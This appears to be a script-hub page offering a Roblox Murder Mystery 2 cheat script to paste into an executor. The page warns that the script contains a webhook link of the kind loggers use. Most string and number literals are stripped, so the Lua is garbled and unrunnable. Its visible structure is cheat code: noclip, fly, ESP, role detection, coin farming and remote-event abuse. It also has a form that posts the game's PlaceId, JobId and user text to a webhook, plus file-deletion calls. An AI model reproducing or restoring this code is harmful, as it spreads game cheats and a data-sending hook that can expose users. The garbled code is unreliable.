Sends data to a webhook
It contains a Discord (or similar) webhook link. Loggers use these to send out your details.
Run it
Copy the script and paste it into your executor.
o = ()
j = :()
Z = :()
t = :()
K = :()
U = :()
r = :()
G = :()
T = :()
J = :()
A = :()
q = :()
S = :()
C = :()
L = :()
O = :()
v = :()
D = O.LocalPlayer
e = D:()
E = .request .request
Q = getsynasset getcustomasset
s = setclipboard toclipboard set_clipboard Clipboard Clipboard.set
R =
N = {}
x = {}
M = {}
f = {}
a = {
Tracer = {};
Box = {};
ESP = {}
}
z = {
Event = ,
Function =
}
g
c
F
d
H
y
i
b
l
k
(o)
o = o .(, )
Y = {}
o = , o,
Y[o] = .(.(, ))
.(Y)
(o)
(({
Url = o;
Method =
})).Body
(o, Y)
(o)
o o ==
Y, j (O:())
(.(j.Name)):(.(o)) (.(j.DisplayName)):(.(o))
j
(o)
o o ==
Y, j (O:())
j.Name == o
j
(o)
o o.Character
o.Character.(o.Character, ) o.Character.(o.Character, )
(o, Y, j)
Z = o (o.Character (o))
Z
Z[Y] = j
o.Character.PrimaryPart.CFrame = j
(o)
o = o:(, )
o:(, )
(o, Y)
(.(k.prompt))(, o, Y )
(o, Y, j)
T:(, {
Title = ;
Text = o ,
Duration = Y ;
Icon = j
})
(o, Y)
T:(, {
Text = .. o ,
Color = .(, , ),
RichText =
})
(o, Y)
j = .()
t = .()
K = .()
U = .()
G = .()
T = (o)
o = (o)
Y = (Y)
j.Name =
j.Parent = d
j.BackgroundTransparency =
j.Size = .(, , , )
j.Image =
j.ImageColor3 = .(, , )
j.ScaleType = .ScaleType.Slice
j.SliceCenter = Rect.(, , , )
j.ZIndex =
j.Position = .(, , , - (j.AbsoluteSize.Y + ))
j.ClipsDescendants =
t.Name =
t.Parent = j
t.Size = .(, , , )
t.BackgroundTransparency =
t.Image =
t.ImageColor3 = .(, , )
t.ZIndex =
K.Name =
K.Parent = j
K.BackgroundTransparency =
K.Position = .(, -, , -)
K.Size = .(, , , )
K.ZIndex =
K.Image =
K.ImageColor3 = .(, , )
K.ScaleType = .ScaleType.Slice
K.SliceCenter = Rect.(, , , )
U.Name =
U.Parent = j
U.BackgroundTransparency =
U.Position = .(, , , )
U.Size = .(, -, , )
U.ZIndex =
U.Font = .Font.GothamSemibold
U.Text =
U.TextColor3 = .(, , )
U.TextSize =
U.TextXAlignment = .TextXAlignment.Left
G.Name =
G.Parent = j
G.BackgroundTransparency =
G.Position = .(, , , -)
G.Size = .(, -, , )
G.ZIndex =
G.Font = .Font.Gotham
G.Text = o
G.TextColor3 = .(, , )
G.TextSize =
G.RichText =
G.TextXAlignment = .TextXAlignment.Left;
(Z:(j, TweenInfo.(), {
Size = .(, (r:(T, , .Font.Gotham, .(.huge, ))).X + , , )
})):()
.()
j.ClipsDescendants = ;
(Z:(t, TweenInfo.(), {
Size = .(, , , ),
Position = .(, , , )
})):()
.(Y)
j.ClipsDescendants = ;
(Z:(t, TweenInfo.(), {
Size = .(, , , )
})):()
.();
(Z:(j, TweenInfo.(), {
Size = .(, , , ),
Position = j.Position + .(, (r:(T, , .Font.Gotham, .(.huge, ))).X + , , )
})):()
.()
j:()
(o, Y)
j = {
,
;
,
;
,
;
;
,
;
}
.((o < o .(o) / ^ (.(o) - .(o) % )) * ^ (Y )) / ^ (Y ) .. (j[.(.(o) / )] )
(o)
.(o, , (o)
.(, .(o))
)
(o)
.(o, , (o)
.((o, ))
)
(o)
Y = (o)
j =
o = , .(Y),
j = j .. .(.(Y, o) + )
j
(o)
Y =
j = , .(o),
Y = Y .. .(.(o, j) - )
(Y)
x.(Z, o, Y, j)
M M[o]
M[o] = Y:(j)
x.(Y, o)
M M[o]
M[o]:()
M[o] =
x.(j, o, Y)
f
f[o] = Y
x.(Y, o)
f
f[o] =
x.(Y, o)
f
f[o]
(o)
o
N.Noclip =
x:(, G.RenderStepped, ()
D.Character N.Noclip
(()
o, Y (D.Character:())
Y:() (Y.Name ~= (Y.Name ~= (Y.CanCollide N.Noclip)))
Y.CanCollide =
)
)
N.Noclip =
x:()
(o, Y)
L:(o, (o, j, Z)
j == .UserInputState.Begin
Y.()
, , , .KeyCode.ButtonR1)
L:(o, Y.OriginalName)
L:(o, Y.Position)
(o)
L:(o)
(...)
o = {
...
}
Y = (o[])
j = Y[o[]]
(Y, )
Y[o[]] = o[]
j
(...)
TK = (((())))()
()
o = TK:(, )
o:()
o:()
o:()
o:(, )
o:(, ()
o = ()
o
(o)
()
)
o:(, ()
()
()
)
o:()
o:( .. (() .. ))
o:(, ()
() ()
o = ()
Y = deletefile ((deletefile) == deletefile) delfile ((delfile) == delfile)
Y
j = , # o,
Z = .(o[j])
.(o[j], Z - , Z) ==
(o[j]:(, ))
)
o:(, ()
() ()
o = ()
Y = deletefile ((deletefile) == deletefile) delfile ((delfile) == delfile)
Y
j = , # o,
Z = .(o[j])
.(o[j], Z - , Z) ==
(o[j]:(, ))
)
o:()
o:(, )
o:(, {
;
}, (o)
N.FormSubject = o
)
o:(, , (o)
.(o) <
N.FormText = o
()
)
o:(, ()
.(N.FormText) >
() - N.FormTooFast >=
N.FormTooFast = ()
o
Y, j = (()
o = ({
Url = ;
Method = ;
Headers = {
[] =
};
Body = J:({
content = ;
embeds = {
{
title = ,
description = .. (i .. ( .. (N.FormSubject .. ( .. (.PlaceId .. ( .. (.JobId .. ( .. (() .. ( .. ((H ) .. ( .. ((y ) .. ( .. (N.FormText .. ))))))))))))))),
= ;
color =
}
},
avatar_url = (J:(( .. (c .. )))).data[].imageUrl;
username = g
})
})
)
o (Y j)
()
()
()
()
)
()
o = A.DefaultChatSystemChatEvents.SayMessageRequest
j = A.Modules.EmoteModule
K = {
,
;
,
,
,
;
,
;
,
,
}
U = {
,
;
,
,
;
;
;
,
,
}
r = {
AllInOne = ;
KickHook =
}
q = {
Murderer = g;
Sheriff = g;
Hero =
}
L = (J:(( .. (D.UserId .. ), ))).owned
v =
E = {}
Q = {
Stone = {
Top = ,
Bottom = ,
Back = ,
Front = ,
Right = ,
Left =
},
Cobblestone = {
Top = ;
Bottom = ,
Back = ;
Front = ;
Right = ,
Left =
};
[] = {
Top = ;
Bottom = ,
Back = ;
Front = ,
Right = ;
Left =
},
Grass = {
Top = ,
Bottom = ;
Back = ,
Front = ,
Right = ,
Left =
},
[] = {
Top = ,
Bottom = ,
Back = ;
Front = ,
Right = ;
Left =
},
Diamond = {
Top = ,
Bottom = ,
Back = ;
Front = ;
Right = ;
Left =
},
Lava = {
Top = ,
Bottom = ,
Back = ;
Front = ,
Right = ,
Left =
};
Glowstone = {
Top = ,
Bottom = ;
Back = ,
Front = ;
Right = ,
Left =
},
Obsidian = {
Top = ;
Bottom = ,
Back = ;
Front = ;
Right = ,
Left =
},
Portal = {
Top = ,
Bottom = ;
Back = ;
Front = ,
Right = ;
Left =
}
}
R
N.RoleStates = {}
N.Elapse = {}
N.SheriffSilentAimAccuracy =
N.ManualSpeed =
N.FarmSpeedMethod =
N.TpWhenDone =
N.SmoothFarm = .EasingDirection.InOut
N.Sounds = .()
N.Sounds.Name =
N.Sounds.Parent =
N.CoinType =
N.BoxSprayId =
N.NoReplicateCoin =
N.FarmSTOP =
N.PenisColor =
M = .()
M.Color = .(, , )
M.Thickness =
M.Radius =
M.Visible =
M.NumSides =
M.Filled =
M.Transparency =
c = .()
c.Name = g ..
c.Parent =
c.Transparency =
c.Size = .(, , )
c.CanCollide =
c.Anchored =
F = .()
F.Name =
F.Parent = d
F.Visible =
F.Position = .(, , , )
F.Size = .(, , , )
F.BackgroundTransparency =
F.Font = .Font.SourceSansItalic
F.Text =
F.TextSize =
F.TextColor3 = .(, , )
F.BorderColor3 = .(, , )
F.AnchorPoint = .(, )
i = .()
i.Name =
i.Parent = d
i.Visible =
i.Active =
i.Size = .(, , , )
i.Position = .(, , , )
i.BackgroundTransparency =
i.Font = .Font.SourceSansItalic
i.Text =
i.TextSize =
i.TextColor3 = .(, , )
i.AnchorPoint = .(, )
(o)
o == o o == R o.Character
Y, j (R)
o.Name == Y
j.Dead j.Killed
(o)
o, Y (o:())
Y:() ( Y.Parent:() Y.Parent.Parent:())
Y.LocalTransparencyModifier = N.XrayTransparency
(Y)
(o)
o, Y (o:())
Y:() ( Y.Parent:() Y.Parent.Parent:())
Y.LocalTransparencyModifier =
(Y)
(o)
o
()
()
(o)
Y = z.(A.Remotes.Extras.GetData2, D)
j = , # Y.Perks.Owned,
Y.Perks.Owned[j] == o
()
(z.(A.Remotes.Extras.GetData2, D)).Weapons.Equipped.Gun
(o, Y)
o, j (o.Character:())
j.Name == Y j:()
o, j (o.Backpack:())
j.Name == Y j:()
()
o, Y (:())
Y.Name ==
Y
(o)
o ==
.(, , )
o ==
.(, , )
o ==
.(, , )
o ==
.(, , )
o ==
.(, , )
.(, , )
()
o = , N.FlySpeed,
.(()
N.TpWalk = ;
(.(()
N.TpWalk (G.Heartbeat:() (D.Character D.Character.Humanoid))
(()
D.Character.Humanoid.MoveDirection.Magnitude >
D.Character:(D.Character.Humanoid.MoveDirection)
)
.()
))()
)
D.Character.Humanoid.PlatformStand =
.()
D.Character.Animate.Disabled =
D.Character.Humanoid.PlatformStand =
o = D.Character:() D.Character:()
o, Y (o:())
Y:()
D.Character.Humanoid:(.HumanoidStateType.Climbing, )
D.Character.Humanoid:(.HumanoidStateType.FallingDown, )
D.Character.Humanoid:(.HumanoidStateType.Flying, )
D.Character.Humanoid:(.HumanoidStateType.Freefall, )
D.Character.Humanoid:(.HumanoidStateType.GettingUp, )
D.Character.Humanoid:(.HumanoidStateType.Jumping, )
D.Character.Humanoid:(.HumanoidStateType.Landed, )
D.Character.Humanoid:(.HumanoidStateType.Physics, )
D.Character.Humanoid:(.HumanoidStateType.PlatformStanding, )
D.Character.Humanoid:(.HumanoidStateType.Ragdoll, )
D.Character.Humanoid:(.HumanoidStateType.Running, )
D.Character.Humanoid:(.HumanoidStateType.RunningNoPhysics, )
D.Character.Humanoid:(.HumanoidStateType.Seated, )
D.Character.Humanoid:(.HumanoidStateType.StrafingNoPhysics, )
D.Character.Humanoid:(.HumanoidStateType.Swimming, )
D.Character.Humanoid:(.HumanoidStateType.Swimming)
Y = D.Character.UpperTorso
j = {
f = ,
b = ;
l = ;
r =
}
Z = {
f = ;
b = ;
l = ;
r =
}
t =
K =
U = .()
r = .()
U.Parent = Y
U.P =
U.MaxTorque = .(, , )
U.CFrame = Y.CFrame
r.Parent = Y
r.Velocity = .(, , )
r.MaxForce = .(, , )
D.Character.Humanoid.PlatformStand = ;
(.(()
N.Fly D.Character.Humanoid.Health ~=
.()
(()
j.l + j.r ~= j.f + j.b ~=
K = (K + ) + K / t
K > t
K = t
(j.l + j.r ~= j.f + j.b ~= ) K ~=
K = K -
K <
K =
j.l + j.r ~= j.f + j.b ~=
r.Velocity = ((.CurrentCamera.CoordinateFrame.lookVector * (j.f + j.b) + .CurrentCamera.CoordinateFrame * (.(j.l + j.r, (j.f + j.b) * , )).p) - .CurrentCamera.CoordinateFrame.p) * K
Z = {
f = j.f,
b = j.b,
l = j.l,
r = j.r
}
j.l + j.r == (j.f + j.b == K ~= )
r.Velocity = ((.CurrentCamera.CoordinateFrame.lookVector * (Z.f + Z.b) + .CurrentCamera.CoordinateFrame * (.(Z.l + Z.r, (Z.f + Z.b) * , )).p) - .CurrentCamera.CoordinateFrame.p) * K
r.Velocity = .(, , )
U.CFrame = .CurrentCamera.CoordinateFrame * .(- .((((j.f + j.b) * ) * K) / t), , )
)
.()
N.Fly D.Character.Humanoid.Health <=
(()
j = {
f = ;
b = ,
l = ;
r =
}
Z = {
f = ,
b = ;
l = ,
r =
}
K =
U:()
r:()
D.Character.Humanoid.PlatformStand =
D.Character.Animate.Disabled =
N.TpWalk =
)
.()
))()
()
D.Character.Humanoid:(.HumanoidStateType.Climbing, )
D.Character.Humanoid:(.HumanoidStateType.FallingDown, )
D.Character.Humanoid:(.HumanoidStateType.Flying, )
D.Character.Humanoid:(.HumanoidStateType.Freefall, )
D.Character.Humanoid:(.HumanoidStateType.GettingUp, )
D.Character.Humanoid:(.HumanoidStateType.Jumping, )
D.Character.Humanoid:(.HumanoidStateType.Landed, )
D.Character.Humanoid:(.HumanoidStateType.Physics, )
D.Character.Humanoid:(.HumanoidStateType.PlatformStanding, )
D.Character.Humanoid:(.HumanoidStateType.Ragdoll, )
D.Character.Humanoid:(.HumanoidStateType.Running, )
D.Character.Humanoid:(.HumanoidStateType.RunningNoPhysics, )
D.Character.Humanoid:(.HumanoidStateType.Seated, )
D.Character.Humanoid:(.HumanoidStateType.StrafingNoPhysics, )
D.Character.Humanoid:(.HumanoidStateType.Swimming, )
D.Character.Humanoid:(.HumanoidStateType.RunningNoPhysics)
()
o = (D)
Y = {
F = ,
B = ,
L = ,
R =
}
j = {
F = ,
B = ,
L = ,
R =
}
Z = N.FlySpeed
t = N.FlySpeed
()
t = .()
K = .()
t.Parent = o
t.P =
t.MaxTorque = .(, , )
t.CFrame = o.CFrame
K.Parent = o
K.Velocity = .(, , )
K.MaxForce = .(, , )
(()
.()
D.Character.Humanoid.PlatformStand =
Y.L + Y.R ~= Y.F + Y.B ~=
Z =
(Y.L + Y.R ~= Y.F + Y.B ~= ) Z ~=
Z =
Y.L + Y.R ~= Y.F + Y.B ~=
K.Velocity = ((.CurrentCamera.CoordinateFrame.lookVector * (Y.F + Y.B) + .CurrentCamera.CoordinateFrame * (.(Y.L + Y.R, (Y.F + Y.B) * , )).p) - .CurrentCamera.CoordinateFrame.p) * Z
j = {
F = Y.F,
B = Y.B,
L = Y.L,
R = Y.R
}
Y.L + Y.R == (Y.F + Y.B == Z ~= )
K.Velocity = ((.CurrentCamera.CoordinateFrame.lookVector * (j.F + j.B) + .CurrentCamera.CoordinateFrame * (.(j.L + j.R, (j.F + j.B) * , )).p) - .CurrentCamera.CoordinateFrame.p) * Z
K.Velocity = .(, , )
t.CFrame = .CurrentCamera.CoordinateFrame
N.Fly
Y = {
F = ,
B = ;
L = ,
R =
}
j = {
F = ;
B = ;
L = ;
R =
}
Z =
t:()
K:()
D.Character.Humanoid.PlatformStand =
)
e.KeyDown:((o)
o:() ==
Y.F = t
o:() ==
Y.B = - t
o:() ==
Y.L = - t
o:() ==
Y.R = t
)
e.KeyUp:((o)
o:() ==
Y.F =
o:() ==
Y.B =
o:() ==
Y.L =
o:() ==
Y.R =
)
()
()
D.Character.Humanoid.PlatformStand =
(o)
Y, j (D.Character:())
j.Name == o j:()
j:()
Y, j (D.Backpack:())
j.Name == o j:()
j:()
(o, Y, j)
o = o
j = j ()
E[# E + ] = {
o;
Y,
j
}
()
D.Chatted:((...)
o = {
...
}
o[]
Y = o[]:()
j = Y:()
o = , # E,
j[] == .. E[o][]
E[o][]
j[] == j[] ==
Y = O:()
.(Y, )
E[o][](Y)
E[o][]({
(j[])
})
E[o][](j[])
)
(o, Y)
j =
Z = .huge
Y, t (Y:())
t t:()
t.Transparency ~=
Y = (o - t.Position).Magnitude
Y < Z
j = t
Z = Y
j
(o)
Y
j = .huge
o ==
o, Z (O.(O))
Z.Name ~= D.Name
(()
o = (((Z)).Position - e.Hit.Position).Magnitude
j > o
Y = Z
j = o
)
Y
o ==
o, Z (O.(O))
Z.Name ~= D.Name
(()
o = (((Z)).Position - ((D)).Position).Magnitude
j > o
Y = Z
j = o
)
Y
(o)
.CurrentCamera.CameraSubject = o
(o)
Y =
j = .huge
Z = ()
t = ((D)).Position
Z Z:()
Z, K (Z.CoinContainer:())
K.Name == K ~= o
o = K:()
o
Z = o (o.ClassName ~= )
N.CoinType == Z N.CoinType ==
o = (t - K.CFrame.Position).Magnitude
o < j
j = o
Y = K
Y == N.PreviousCoin
N.NoReplicateCoin = N.NoReplicateCoin +
N.NoReplicateCoin >
N.NoReplicateCoin =
.()
(N.PreviousCoin)
Y
(o)
D D.Character
Y =
j =
z.(A.Remotes.Extras.ReplicateToy, )
o, Z (D.Backpack:())
Z.Name ==
Z.Parent = D.Character
Y = Z
j =
Y
o, j (D.Character:())
j.Name ==
Y = j
Y
(Y)
j
Y.Parent = D.Backpack
()
()
o = D.Character
Y = o:()
o.Archivable =
Y.Parent =
Y.HumanoidRootPart.CFrame = .(-, , )
o, j (o:())
j:()
o = j:()
o.Parent = Y
o, Y (Y:())
Y:()
Y.Transparency =
j = o.HumanoidRootPart.CFrame
o.HumanoidRootPart.CFrame = .(-, , )
Y.HumanoidRootPart.CFrame = j
.CurrentCamera.CameraSubject = Y.Humanoid
o, Y (Y:())
Y:()
Y.Disabled =
o.Humanoid.Died:(()
(()
Y:()
Y =
)
)
o:()
D.Character = Y
.()
D.CharacterAdded:()
(o)
D.Character.Head:() ( D.Character.Head:() o)
Y = (D)
j = Y.CFrame
Z = .(.(j.X), .(j.Y) - , .(j.Z)) * .(.(), , .())
o, Y (D.Character:())
Y:() (Y.Name == .(Y.Name, ))
o = .()
j = .()
o.Name =
o.Parent = Y
o.P =
o.MaxTorque = .(, , )
o.CFrame = Z
j.Name =
j.Parent = Y
j.Velocity = .(, , )
j.MaxForce = .(, , )
(D, , Z)
(o)
D.Character.Humanoid.PlatformStand =
D.Character.Head:() (D.Character.Head:() o)
o, Y (D.Character:())
Y:() (Y.Name == .(Y.Name, ))
o, Y (Y:())
Y.Name == Y.Name ==
Y:()
(o)
D.Character.Humanoid.PlatformStand =
(o, Y, j, Z)
z.(o.Remote, Y, .NormalId.Top, , j, Z * .(, , ))
z.(o.Remote, Y, .NormalId.Bottom, , j, Z * .(, , ))
z.(o.Remote, Y, .NormalId.Back, , j, Z * .(, , ))
z.(o.Remote, Y, .NormalId.Front, , j, Z * .(, , ))
z.(o.Remote, Y, .NormalId.Right, , j, Z * .(, , ))
z.(o.Remote, Y, .NormalId.Left, , j, Z * .(, , ))
(o, Y)
j = (Y)
j
Y = j.CFrame
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Front, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
z.(o.Remote, , .NormalId.Back, , j, Y * .(-, , ))
(o, Y, j)
z.(o.Remote, Y.Top, .NormalId.Top, , .Lobby.VoteIcons.VotePad2, j * .(, , ))
z.(o.Remote, Y.Bottom, .NormalId.Bottom, , .Lobby.VoteIcons.VotePad2, j * .(, , ))
z.(o.Remote, Y.Back, .NormalId.Back, , .Lobby.VoteIcons.VotePad2, j * .(, , ))
z.(o.Remote, Y.Front, .NormalId.Front, , .Lobby.VoteIcons.VotePad2, j * .(, , -))
z.(o.Remote, Y.Right, .NormalId.Right, , .Lobby.VoteIcons.VotePad2, j * .(, , ))
z.(o.Remote, Y.Left, .NormalId.Left, , .Lobby.VoteIcons.VotePad2, j * .(-, , ))
Z = .()
Z.Name =
Z.Parent =
Z.Transparency =
Z.Anchored =
Z.Size = .(, , )
Z.CFrame = j + .(, , );
(.(()
.()
Z:()
))()
(o, Y, j)
z.(o.Remote, Y.Back, .NormalId.Back, , .Lobby.VoteIcons.VotePad2, j * .(, , ))
z.(o.Remote, Y.Front, .NormalId.Front, , .Lobby.VoteIcons.VotePad2, j * .(, , ))
()
R = z.(A.Remotes.Extras.GetPlayerData)
v = R[g] R[g].Role
o, Y (R)
Y.Died Y.Killed
Y.Role ==
Y = (o)
Y Y.Character
q.Murderer = o
Y.Role ==
Y = (o)
Y Y.Character
q.Sheriff = o
q.Hero =
Y.Role ==
Y = (o)
Y Y.Character
q.Sheriff = o
q.Hero =
Y = (o)
Y Y.Character
Y, j (Y.Character:())
j.Name == j:()
q.Sheriff = o
q.Hero =
g == o
v =
q.Sheriff ~= o
Y, j (Y.Backpack:())
j.Name == j:()
q.Sheriff = o
q.Hero =
g == o
v =
(o)
Y = {}
o.Name == q.Sheriff ((o) q.Hero)
Y.Role =
Y.Color = ()
o.Name == q.Murderer (o)
Y.Role =
Y.Color = ()
o.Name == q.Sheriff ((o) q.Hero)
Y.Role =
Y.Color = ()
Y.Role =
(o)
Y.Color = ()
Y.Color = ()
Y
(o)
a.Box[o.Name] = {}
a.Box[o.Name].TopLeft = .()
a.Box[o.Name].TopRight = .()
a.Box[o.Name].BottomLeft = .()
a.Box[o.Name].BottomRight = .()
a.Box[o.Name].Service = G.RenderStepped:(()
o o.Character
Y = (o)
Y
j, Z = .((.(Y.CFrame.X, Y.CFrame.Y, Y.CFrame.Z)).Position, .CurrentCamera.CFrame.Position), .(, , ) *
t, K = .CurrentCamera:(j * (.(Z.X, Z.Y, )).Position)
U, r = .CurrentCamera:(j * (.(- Z.X, Z.Y, )).Position)
G, T = .CurrentCamera:(j * (.(Z.X, - Z.Y, )).Position)
J, A = .CurrentCamera:(j * (.(- Z.X, - Z.Y, )).Position)
q = (o)
a.Box[o.Name].TopLeft.From = .(t.X, t.Y)
a.Box[o.Name].TopLeft.To = .(U.X, U.Y)
